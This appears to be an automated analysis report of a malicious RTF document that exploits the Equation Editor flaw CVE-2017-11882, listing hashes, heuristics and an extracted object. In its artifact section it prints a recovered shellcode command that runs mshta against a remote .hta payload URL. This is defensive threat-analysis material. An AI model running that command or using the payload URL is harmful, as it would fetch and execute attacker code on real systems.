RTF malware analysis — malicious · 1eb959c96b50de38

MALICIOUS

RTF

8.4 KB Authoring application: Riched20 6.3.9600 First seen: 2018-10-07

MD5: fdd98662da0559b7e2f9a9b1466e9d3b SHA-1: 1925796f5d4b1c96e1823d094b93a5ffe00a71d2 SHA-256: 1eb959c96b50de38189117ec78f4bf0bfb1c88427b44878b9f8647e2219ff8fd

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded Equation Editor OLE object that is known to be vulnerable to CVE-2017-11882. This exploit is used to execute arbitrary code, likely a second-stage payload. The presence of the Equation Editor CLSID and the specific exploit signature strongly indicate this attack vector.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://s3.amazonaws.com/rewqqq/drss/zubyxxx.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000fe.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xFE	3546 bytes
SHA-256: `a9b5ee2ebaf31ff8a44654c0036bde8404deecc70032048822cca4a5ee56978a`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://s3.amazonaws.com/rewqqq/drss/zubyxxx.hta Static shellcode analysis recovered command string(s): mshta https://s3.amazonaws.com/rewqqq/drss/zubyxxx.hta

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